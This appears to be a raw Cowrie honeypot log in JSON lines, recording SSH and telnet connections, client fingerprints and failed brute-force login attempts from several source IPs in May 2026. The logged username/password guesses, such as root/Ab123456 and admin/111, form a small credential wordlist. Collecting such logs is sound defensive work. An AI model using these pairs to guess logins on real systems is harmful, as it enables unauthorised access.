{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:39.558636Z","src_ip":"176.65.132.129","session":"b7ade878890a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60424,"dst_ip":"159.203.135.109","dst_port":22,"session":"37fc0b077a5f","protocol":"ssh","message":"New connection: 176.65.132.129:60424 (159.203.135.109:22) [session: 37fc0b077a5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:41.361324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:41.366084Z","src_ip":"176.65.132.129","session":"37fc0b077a5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:41.448613Z","src_ip":"176.65.132.129","session":"37fc0b077a5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1234","message":"login attempt [user1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:41.701475Z","src_ip":"176.65.132.129","session":"37fc0b077a5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:42.787218Z","src_ip":"176.65.132.129","session":"37fc0b077a5f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60430,"dst_ip":"159.203.135.109","dst_port":22,"session":"03136fa630eb","protocol":"ssh","message":"New connection: 176.65.132.129:60430 (159.203.135.109:22) [session: 03136fa630eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:44.769624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:44.774448Z","src_ip":"176.65.132.129","session":"03136fa630eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:44.857142Z","src_ip":"176.65.132.129","session":"03136fa630eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"111","message":"login attempt [admin/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:45.104688Z","src_ip":"176.65.132.129","session":"03136fa630eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:46.245514Z","src_ip":"176.65.132.129","session":"03136fa630eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47402,"dst_ip":"159.203.135.109","dst_port":22,"session":"07ed84a57ea8","protocol":"ssh","message":"New connection: 176.65.132.129:47402 (159.203.135.109:22) [session: 07ed84a57ea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:48.199256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:48.203805Z","src_ip":"176.65.132.129","session":"07ed84a57ea8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:48.289880Z","src_ip":"176.65.132.129","session":"07ed84a57ea8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vivek","password":"vivek","message":"login attempt [vivek/vivek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:48.537368Z","src_ip":"176.65.132.129","session":"07ed84a57ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.73356747627258,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:49.152889Z","src_ip":"152.42.224.71","session":"3b3a4e582ca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:49.621930Z","src_ip":"176.65.132.129","session":"07ed84a57ea8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.828736782073975,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:50.328594Z","src_ip":"152.42.224.71","session":"f8c196b6bc84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47426,"dst_ip":"159.203.135.109","dst_port":22,"session":"f862f7a79b3e","protocol":"ssh","message":"New connection: 176.65.132.129:47426 (159.203.135.109:22) [session: f862f7a79b3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:51.463698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:51.467894Z","src_ip":"176.65.132.129","session":"f862f7a79b3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:51.549963Z","src_ip":"176.65.132.129","session":"f862f7a79b3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nextcloud","password":"nextcloud","message":"login attempt [nextcloud/nextcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:51.794921Z","src_ip":"176.65.132.129","session":"f862f7a79b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:52.880427Z","src_ip":"176.65.132.129","session":"f862f7a79b3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.25722360610962,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:53.550801Z","src_ip":"152.42.224.71","session":"b88ee0fd00b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68337893486023,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:54.311995Z","src_ip":"152.42.224.71","session":"11b55461ad73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47438,"dst_ip":"159.203.135.109","dst_port":22,"session":"72d8d1511575","protocol":"ssh","message":"New connection: 176.65.132.129:47438 (159.203.135.109:22) [session: 72d8d1511575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:54.740458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:54.745316Z","src_ip":"176.65.132.129","session":"72d8d1511575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:54.828719Z","src_ip":"176.65.132.129","session":"72d8d1511575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:55.233901Z","src_ip":"176.65.132.129","session":"72d8d1511575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:56.319680Z","src_ip":"176.65.132.129","session":"72d8d1511575","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.240.31","src_port":54140,"dst_ip":"159.203.135.109","dst_port":22,"session":"736fde46eb84","protocol":"ssh","message":"New connection: 101.32.240.31:54140 (159.203.135.109:22) [session: 736fde46eb84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:56.535733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:56.540215Z","src_ip":"101.32.240.31","session":"736fde46eb84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:56.779955Z","src_ip":"101.32.240.31","session":"736fde46eb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4d0d6899960","protocol":"telnet","message":"New connection: 152.42.224.71:36422 (10.17.0.5:23) [session: a4d0d6899960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:57.087395Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"serveur","message":"login attempt [root/serveur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:57.768901Z","src_ip":"101.32.240.31","session":"736fde46eb84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":32960,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ee5e9e24037","protocol":"ssh","message":"New connection: 176.65.132.129:32960 (159.203.135.109:22) [session: 4ee5e9e24037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:58.175242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:58.180248Z","src_ip":"176.65.132.129","session":"4ee5e9e24037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:58.262134Z","src_ip":"176.65.132.129","session":"4ee5e9e24037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:58.511956Z","src_ip":"176.65.132.129","session":"4ee5e9e24037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:59.012012Z","src_ip":"101.32.240.31","session":"736fde46eb84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:59.597572Z","src_ip":"176.65.132.129","session":"4ee5e9e24037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.823309898376465,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:33:59.887316Z","src_ip":"152.42.224.71","session":"a1ec4d43a7c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":50396,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb761ef22327","protocol":"ssh","message":"New connection: 45.132.125.41:50396 (159.203.135.109:22) [session: cb761ef22327]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:00.367751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:00.376956Z","src_ip":"45.132.125.41","session":"cb761ef22327","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:00.479305Z","src_ip":"45.132.125.41","session":"cb761ef22327","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"454545","message":"login attempt [root/454545] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:34:00.917824Z","src_ip":"45.132.125.41","session":"cb761ef22327","protocol":"ssh"}
